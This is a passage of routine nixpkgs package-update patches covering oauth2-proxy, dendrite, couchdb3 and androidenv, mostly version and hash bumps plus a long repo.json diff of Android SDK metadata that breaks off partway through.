Date: Tue, 5 Aug 2025 20:24:58 -0600
Subject: [PATCH 3622/4511] oauth2-proxy: 7.9.0 -> 7.11.0

https://github.com/oauth2-proxy/oauth2-proxy/releases/tag/v7.10.0
https://github.com/oauth2-proxy/oauth2-proxy/releases/tag/v7.11.0
(cherry picked from commit 232ee28724c2bcd513d462d98af6653e0b905a17)
---
 pkgs/by-name/oa/oauth2-proxy/fix-tests-go-1.24.diff | 13 -------------
 pkgs/by-name/oa/oauth2-proxy/package.nix            | 12 ++++--------
 2 files changed, 4 insertions(+), 21 deletions(-)
 delete mode 100644 pkgs/by-name/oa/oauth2-proxy/fix-tests-go-1.24.diff

diff --git a/pkgs/by-name/oa/oauth2-proxy/fix-tests-go-1.24.diff b/pkgs/by-name/oa/oauth2-proxy/fix-tests-go-1.24.diff
deleted file mode 100644
index 47162b625f41..000000000000
--- a/pkgs/by-name/oa/oauth2-proxy/fix-tests-go-1.24.diff
+++ /dev/null
@@ -1,13 +0,0 @@
-diff --git a/pkg/apis/options/load_test.go b/pkg/apis/options/load_test.go
-index 32d52fb8..ef343fd1 100644
---- a/pkg/apis/options/load_test.go
-+++ b/pkg/apis/options/load_test.go
-@@ -470,7 +470,7 @@ func(in loadYAMLTableInput) {
- 				configFile:     []byte(`stringSliceOption: "a"`),
- 				input:          &TestOptions{},
- 				expectedOutput: &TestOptions{},
--				expectedErr:    errors.New("error unmarshalling config: error unmarshaling JSON: while decoding JSON: json: cannot unmarshal string into Go struct field TestOptions.StringSliceOption of type []string"),
-+				expectedErr:    errors.New("error unmarshalling config: error unmarshaling JSON: while decoding JSON: json: cannot unmarshal string into Go struct field TestOptions.TestOptionSubStruct.StringSliceOption of type []string"),
- 			}),
- 			Entry("with a config file containing environment variable references", loadYAMLTableInput{
- 				configFile: []byte("stringOption: ${TESTUSER}"),
diff --git a/pkgs/by-name/oa/oauth2-proxy/package.nix b/pkgs/by-name/oa/oauth2-proxy/package.nix
index f6bd1318e80a..24a726927243 100644
--- a/pkgs/by-name/oa/oauth2-proxy/package.nix
+++ b/pkgs/by-name/oa/oauth2-proxy/package.nix
@@ -6,23 +6,19 @@
 
 buildGoModule rec {
   pname = "oauth2-proxy";
-  version = "7.9.0";
+  version = "7.11.0";
 
   src = fetchFromGitHub {
     repo = pname;
     owner = "oauth2-proxy";
-    sha256 = "sha256-ykC29q7/rTv7POGETMiypj9CQYdYVo7rjT5B+3nfj/U=";
+    sha256 = "sha256-rZoD1H4YeVs9q8406gpYnWOyOEi2me/KkvSenzL/rA8=";
     rev = "v${version}";
   };
 
-  patches = [
-    ./fix-tests-go-1.24.diff
-  ];
-
-  vendorHash = "sha256-KIu/NSKaXLutlY8757haAlsyuHUZjkDZ6D10lJ08uCM=";
+  vendorHash = "sha256-6Asydomg4Xz0JciRnODJSqVBtFAmpfMjDnr1JKr222o=";
 
   # Taken from https://github.com/oauth2-proxy/oauth2-proxy/blob/master/Makefile
-  ldflags = [ "-X main.VERSION=${version}" ];
+  ldflags = [ "-X github.com/oauth2-proxy/oauth2-proxy/v7/pkg/version.VERSION=v${version}" ];
 
   meta = with lib; {
     description = "Reverse proxy that provides authentication with Google, Github, or other providers";

From bea14b398164fe58d56765fb42e2f104545cf79d Mon Sep 17 00:00:00 2001
From: Joshua Zander <joshua@joshz.pro>
Date: Sat, 16 Aug 2025 13:49:42 -0600
Subject: [PATCH 3623/4511] oauth2-proxy: add versionCheckHook

(cherry picked from commit b756a8161c35032974931cbd011d06f225afa900)
---
 pkgs/by-name/oa/oauth2-proxy/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/oa/oauth2-proxy/package.nix b/pkgs/by-name/oa/oauth2-proxy/package.nix
index 24a726927243..a063ad1c36b9 100644
--- a/pkgs/by-name/oa/oauth2-proxy/package.nix
+++ b/pkgs/by-name/oa/oauth2-proxy/package.nix
@@ -2,6 +2,7 @@
   lib,
   buildGoModule,
   fetchFromGitHub,
+  versionCheckHook,
 }:
 
 buildGoModule rec {
@@ -20,6 +21,10 @@ buildGoModule rec {
   # Taken from https://github.com/oauth2-proxy/oauth2-proxy/blob/master/Makefile
   ldflags = [ "-X github.com/oauth2-proxy/oauth2-proxy/v7/pkg/version.VERSION=v${version}" ];
 
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  versionCheckProgramArg = "--version";
+  doInstallCheck = true;
+
   meta = with lib; {
     description = "Reverse proxy that provides authentication with Google, Github, or other providers";
     homepage = "https://github.com/oauth2-proxy/oauth2-proxy/";

From f27601ae633100f6885b80a9aaea5178212868c4 Mon Sep 17 00:00:00 2001
From: Ethan Rooke <ethan@roo.ke>
Date: Thu, 14 Aug 2025 22:03:43 -0500
Subject: [PATCH 3624/4511] dendrite: 0.14.1 -> 0.15.2

Dendrite 0.15.0 is a security release supporting [room version 12](https://matrix.org/blog/2025/08/security-release/). It also added support for [MSC4163](https://github.com/matrix-org/matrix-spec-proposals/pull/4163) and [MSC3967](https://github.com/matrix-org/matrix-spec-proposals/pull/3967). Dendrite 0.15.1 and 2 are a bug fix releases on top of that. Full details can be found on dendrite's [changelog](https://github.com/element-hq/dendrite/blob/main/CHANGES.md).

(cherry picked from commit ebcdb9cbc239df3c802528c95d7770dd8852b5a1)
---
 pkgs/by-name/de/dendrite/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/de/dendrite/package.nix b/pkgs/by-name/de/dendrite/package.nix
index 6ac13b00831c..b2329bba98a5 100644
--- a/pkgs/by-name/de/dendrite/package.nix
+++ b/pkgs/by-name/de/dendrite/package.nix
@@ -11,16 +11,16 @@
 
 buildGoModule rec {
   pname = "matrix-dendrite";
-  version = "0.14.1";
+  version = "0.15.2";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "dendrite";
     rev = "v${version}";
-    hash = "sha256-b/kybHF9WcP88kQuG7LB0/pgflYUeWNqEHfUyKfUCIU=";
+    hash = "sha256-VxQ5fuGzkEL371TmnDQ0wNqqmfzupmsTX/v+eFthj8E=";
   };
 
-  vendorHash = "sha256-380xuwMD9gxrjUsLfO8R08wruyWZwjRhiIDmSc/FGwA=";
+  vendorHash = "sha256-QUztOoOesECAhwh4whzvrc43rJxjtPaEICUHno2DId0=";
 
   subPackages = [
     # The server

From e6dbca3b25f5218036aa17f39a1171c7253a1899 Mon Sep 17 00:00:00 2001
From: dish <pyrox@pyrox.dev>
Date: Sun, 17 Aug 2025 11:11:27 -0400
Subject: [PATCH 3625/4511] couchdb3: switch to beamMinimalPackages.erlang

This heavily reduces the closure size, because the regular BEAM package
includes many graphical libraries that are not needed for couchdb. This
reduces the closure size by over 1Gib in total, to about 350Mib instead
of 1.4Gib, which is a great improvement in non-graphical server
environments where couchdb is likely to be running.

(cherry picked from commit f31b4450df40031919ce48178ed7a12e1cadf68d)
---
 pkgs/top-level/all-packages.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 0a479a40339a..9514d6979eda 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -10357,7 +10357,9 @@ with pkgs;
 
   clickhouse-cli = with python3Packages; toPythonApplication clickhouse-cli;
 
-  couchdb3 = callPackage ../servers/http/couchdb/3.nix { };
+  couchdb3 = callPackage ../servers/http/couchdb/3.nix {
+    erlang = beamMinimalPackages.erlang;
+  };
 
   dcnnt = python3Packages.callPackage ../servers/dcnnt { };
 

From 69266e4a459bb64bdcceae1979de68a901c9d939 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Sun, 17 Aug 2025 22:45:46 -0700
Subject: [PATCH 3626/4511] androidenv: make test suite version track repo.json
 hash

This should fix autoupdate not recognizing version changes.

(cherry picked from commit 555c0ad6cc4da0ac7583b397525030d1ce20b272)
---
 pkgs/development/mobile/androidenv/test-suite.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/mobile/androidenv/test-suite.nix b/pkgs/development/mobile/androidenv/test-suite.nix
index b4f4d06157bb..cc03d2fe3261 100644
--- a/pkgs/development/mobile/androidenv/test-suite.nix
+++ b/pkgs/development/mobile/androidenv/test-suite.nix
@@ -18,7 +18,7 @@ let
 in
 stdenv.mkDerivation {
   name = "androidenv-test-suite";
-  version = "1";
+  version = lib.substring 0 8 (builtins.hashFile "sha256" ./repo.json);
   buildInputs = lib.mapAttrsToList (name: value: value) all-tests;
 
   buildCommand = ''

From 05e959a290f4c2577160ea1fc86c61f0c1e97d56 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Mon, 18 Aug 2025 05:55:17 +0000
Subject: [PATCH 3627/4511] androidenv: ndk: 28.1.13356709 -> 28.2.13676358;
 cmake: 4.0.2 -> 4.1.0; platform-tools: 35.0.2 -> 36.0.0; emulator: 35.6.9 ->
 36.1.9

Performed the following automatic androidenv updates:

- ndk: 28.1.13356709 -> 28.2.13676358
- cmake: 4.0.2 -> 4.1.0
- platform-tools: 35.0.2 -> 36.0.0
- emulator: 35.6.9 -> 36.1.9

Tests exited with status: 0

Last 100 lines of output:
```
/nix/store/wndplv7p1d5dc3hryf4qx3srmq3c087x-androidenv-test-suite
```

(cherry picked from commit cd6beadee9b8d0f4645e46e5b7f01e4209eb6e7d)
---
 pkgs/development/mobile/androidenv/repo.json | 2283 ++++++++++++------
 1 file changed, 1552 insertions(+), 731 deletions(-)

diff --git a/pkgs/development/mobile/androidenv/repo.json b/pkgs/development/mobile/androidenv/repo.json
index d0bed2fdbd75..797796eebd09 100644
--- a/pkgs/development/mobile/androidenv/repo.json
+++ b/pkgs/development/mobile/androidenv/repo.json
@@ -12,7 +12,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-10",
@@ -91,7 +91,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-11",
@@ -156,7 +156,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-12",
@@ -233,7 +233,7 @@
           }
         ],
         "displayName": "Google TV Addon",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-googletv-license",
         "name": "google_tv_addon",
         "path": "add-ons/addon-google_tv_addon-google-12",
@@ -280,7 +280,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-13",
@@ -357,7 +357,7 @@
           }
         ],
         "displayName": "Google TV Addon",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-googletv-license",
         "name": "google_tv_addon",
         "path": "add-ons/addon-google_tv_addon-google-13",
@@ -404,7 +404,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-14",
@@ -483,7 +483,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-15",
@@ -576,7 +576,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-16",
@@ -669,7 +669,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-17",
@@ -762,7 +762,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-18",
@@ -855,7 +855,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-19",
@@ -948,7 +948,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-21",
@@ -1041,7 +1041,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-22",
@@ -1134,7 +1134,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-23",
@@ -1227,7 +1227,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-24",
@@ -1320,7 +1320,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-25",
@@ -1413,7 +1413,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-3",
@@ -1478,7 +1478,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-4",
@@ -1543,7 +1543,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-5",
@@ -1608,7 +1608,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-6",
@@ -1673,7 +1673,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-7",
@@ -1738,7 +1738,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-8",
@@ -1803,7 +1803,7 @@
           }
         ],
         "displayName": "Google APIs",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "google_apis",
         "path": "add-ons/addon-google_apis-google-9",
@@ -1869,7 +1869,7 @@
         }
       ],
       "displayName": "Android Support Repository",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-android-m2repository",
       "path": "extras/android/m2repository",
@@ -1900,7 +1900,7 @@
         }
       ],
       "displayName": "Android Emulator hypervisor driver (installer)",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-Android_Emulator_Hypervisor_Driver",
       "path": "extras/google/Android_Emulator_Hypervisor_Driver",
@@ -1931,7 +1931,7 @@
         }
       ],
       "displayName": "Google AdMob Ads SDK",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-admob_ads_sdk",
       "path": "extras/google/admob_ads_sdk",
@@ -1960,7 +1960,7 @@
         }
       ],
       "displayName": "Google Analytics App Tracking SDK",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-analytics_sdk_v2",
       "path": "extras/google/analytics_sdk_v2",
@@ -2010,7 +2010,7 @@
         }
       ],
       "displayName": "Android Auto Desktop Head Unit Emulator",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-auto",
       "path": "extras/google/auto",
@@ -2036,7 +2036,7 @@
         }
       ],
       "displayName": "Google Cloud Messaging for Android Library",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-gcm",
       "path": "extras/google/gcm",
@@ -2072,7 +2072,7 @@
         }
       },
       "displayName": "Google Play services",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-google_play_services",
       "path": "extras/google/google_play_services",
@@ -2101,7 +2101,7 @@
         }
       ],
       "displayName": "Google Play services for Froyo",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-google_play_services_froyo",
       "path": "extras/google/google_play_services_froyo",
@@ -2129,8 +2129,8 @@
           "url": "https://dl.google.com/android/repository/iasdk-1.9.0-1566514721.zip"
         }
       ],
-      "displayName": "Google Play Instant Development SDK",
-      "last-available-day": 20237,
+      "displayName": "Google Play Instant Development SDK (Deprecated)",
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-instantapps",
       "path": "extras/google/instantapps",
@@ -2168,7 +2168,7 @@
         }
       },
       "displayName": "Google Repository",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-m2repository",
       "path": "extras/google/m2repository",
@@ -2197,7 +2197,7 @@
         }
       ],
       "displayName": "Google Play APK Expansion library",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-market_apk_expansion",
       "path": "extras/google/market_apk_expansion",
@@ -2226,7 +2226,7 @@
         }
       ],
       "displayName": "Google Play Licensing Library",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-market_licensing",
       "path": "extras/google/market_licensing",
@@ -2256,7 +2256,7 @@
         }
       ],
       "displayName": "Android Auto API Simulators",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-simulators",
       "path": "extras/google/simulators",
@@ -2285,7 +2285,7 @@
         }
       ],
       "displayName": "Google USB Driver",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-usb_driver",
       "path": "extras/google/usb_driver",
@@ -2314,7 +2314,7 @@
         }
       ],
       "displayName": "Google Web Driver",
-      "last-available-day": 20237,
+      "last-available-day": 20318,
       "license": "android-sdk-license",
       "name": "extras-google-webdriver",
       "path": "extras/google/webdriver",
@@ -2984,7 +2984,7 @@
             }
           },
           "displayName": "ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-10-default-armeabi-v7a",
           "path": "system-images/android-10/default/armeabi-v7a",
@@ -3030,7 +3030,7 @@
             }
           },
           "displayName": "Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-10-default-x86",
           "path": "system-images/android-10/default/x86",
@@ -3078,7 +3078,7 @@
             }
           },
           "displayName": "Google APIs ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-10-google_apis-armeabi-v7a",
           "path": "system-images/android-10/google_apis/armeabi-v7a",
@@ -3130,7 +3130,7 @@
             }
           },
           "displayName": "Google APIs Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-10-google_apis-x86",
           "path": "system-images/android-10/google_apis/x86",
@@ -3179,7 +3179,7 @@
             }
           ],
           "displayName": "ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-14-default-armeabi-v7a",
           "path": "system-images/android-14/default/armeabi-v7a",
@@ -3229,7 +3229,7 @@
             }
           },
           "displayName": "ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-15-default-armeabi-v7a",
           "path": "system-images/android-15/default/armeabi-v7a",
@@ -3275,7 +3275,7 @@
             }
           },
           "displayName": "Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-15-default-x86",
           "path": "system-images/android-15/default/x86",
@@ -3323,7 +3323,7 @@
             }
           },
           "displayName": "Google APIs ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-15-google_apis-armeabi-v7a",
           "path": "system-images/android-15/google_apis/armeabi-v7a",
@@ -3375,7 +3375,7 @@
             }
           },
           "displayName": "Google APIs Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-15-google_apis-x86",
           "path": "system-images/android-15/google_apis/x86",
@@ -3431,7 +3431,7 @@
             }
           },
           "displayName": "ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-16-default-armeabi-v7a",
           "path": "system-images/android-16/default/armeabi-v7a",
@@ -3470,7 +3470,7 @@
             }
           ],
           "displayName": "MIPS System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "mips-android-sysimage-license",
           "name": "system-image-16-default-mips",
           "path": "system-images/android-16/default/mips",
@@ -3516,7 +3516,7 @@
             }
           },
           "displayName": "Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-16-default-x86",
           "path": "system-images/android-16/default/x86",
@@ -3564,7 +3564,7 @@
             }
           },
           "displayName": "Google APIs ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-16-google_apis-armeabi-v7a",
           "path": "system-images/android-16/google_apis/armeabi-v7a",
@@ -3616,7 +3616,7 @@
             }
           },
           "displayName": "Google APIs Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-16-google_apis-x86",
           "path": "system-images/android-16/google_apis/x86",
@@ -3672,7 +3672,7 @@
             }
           },
           "displayName": "ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-17-default-armeabi-v7a",
           "path": "system-images/android-17/default/armeabi-v7a",
@@ -3711,7 +3711,7 @@
             }
           ],
           "displayName": "MIPS System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "mips-android-sysimage-license",
           "name": "system-image-17-default-mips",
           "path": "system-images/android-17/default/mips",
@@ -3757,7 +3757,7 @@
             }
           },
           "displayName": "Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-17-default-x86",
           "path": "system-images/android-17/default/x86",
@@ -3811,7 +3811,7 @@
             }
           },
           "displayName": "Google APIs ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-17-google_apis-armeabi-v7a",
           "path": "system-images/android-17/google_apis/armeabi-v7a",
@@ -3863,7 +3863,7 @@
             }
           },
           "displayName": "Google APIs Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-17-google_apis-x86",
           "path": "system-images/android-17/google_apis/x86",
@@ -3919,7 +3919,7 @@
             }
           },
           "displayName": "ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-18-default-armeabi-v7a",
           "path": "system-images/android-18/default/armeabi-v7a",
@@ -3965,7 +3965,7 @@
             }
           },
           "displayName": "Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-18-default-x86",
           "path": "system-images/android-18/default/x86",
@@ -4013,7 +4013,7 @@
             }
           },
           "displayName": "Google APIs ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-18-google_apis-armeabi-v7a",
           "path": "system-images/android-18/google_apis/armeabi-v7a",
@@ -4065,7 +4065,7 @@
             }
           },
           "displayName": "Google APIs Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-18-google_apis-x86",
           "path": "system-images/android-18/google_apis/x86",
@@ -4121,7 +4121,7 @@
             }
           },
           "displayName": "ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-19-default-armeabi-v7a",
           "path": "system-images/android-19/default/armeabi-v7a",
@@ -4167,7 +4167,7 @@
             }
           },
           "displayName": "Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-19-default-x86",
           "path": "system-images/android-19/default/x86",
@@ -4215,7 +4215,7 @@
             }
           },
           "displayName": "Google APIs ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-19-google_apis-armeabi-v7a",
           "path": "system-images/android-19/google_apis/armeabi-v7a",
@@ -4267,7 +4267,7 @@
             }
           },
           "displayName": "Google APIs Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-19-google_apis-x86",
           "path": "system-images/android-19/google_apis/x86",
@@ -4316,7 +4316,7 @@
             }
           ],
           "displayName": "Android TV ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-android-tv-armeabi-v7a",
           "path": "system-images/android-21/android-tv/armeabi-v7a",
@@ -4353,7 +4353,7 @@
             }
           ],
           "displayName": "Android TV Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-android-tv-x86",
           "path": "system-images/android-21/android-tv/x86",
@@ -4392,7 +4392,7 @@
             }
           ],
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-default-arm64-v8a",
           "path": "system-images/android-21/default/arm64-v8a",
@@ -4438,7 +4438,7 @@
             }
           },
           "displayName": "ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-default-armeabi-v7a",
           "path": "system-images/android-21/default/armeabi-v7a",
@@ -4484,7 +4484,7 @@
             }
           },
           "displayName": "Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-default-x86",
           "path": "system-images/android-21/default/x86",
@@ -4530,7 +4530,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-default-x86_64",
           "path": "system-images/android-21/default/x86_64",
@@ -4571,7 +4571,7 @@
             }
           ],
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-google_apis-arm64-v8a",
           "path": "system-images/android-21/google_apis/arm64-v8a",
@@ -4623,7 +4623,7 @@
             }
           },
           "displayName": "Google APIs ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-google_apis-armeabi-v7a",
           "path": "system-images/android-21/google_apis/armeabi-v7a",
@@ -4675,7 +4675,7 @@
             }
           },
           "displayName": "Google APIs Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-google_apis-x86",
           "path": "system-images/android-21/google_apis/x86",
@@ -4727,7 +4727,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-21-google_apis-x86_64",
           "path": "system-images/android-21/google_apis/x86_64",
@@ -4776,7 +4776,7 @@
             }
           ],
           "displayName": "Android TV Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-22-android-tv-x86",
           "path": "system-images/android-22/android-tv/x86",
@@ -4815,7 +4815,7 @@
             }
           ],
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-22-default-arm64-v8a",
           "path": "system-images/android-22/default/arm64-v8a",
@@ -4861,7 +4861,7 @@
             }
           },
           "displayName": "ARM EABI v7a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-22-default-armeabi-v7a",
           "path": "system-images/android-22/default/armeabi-v7a",
@@ -4907,7 +4907,7 @@
             }
           },
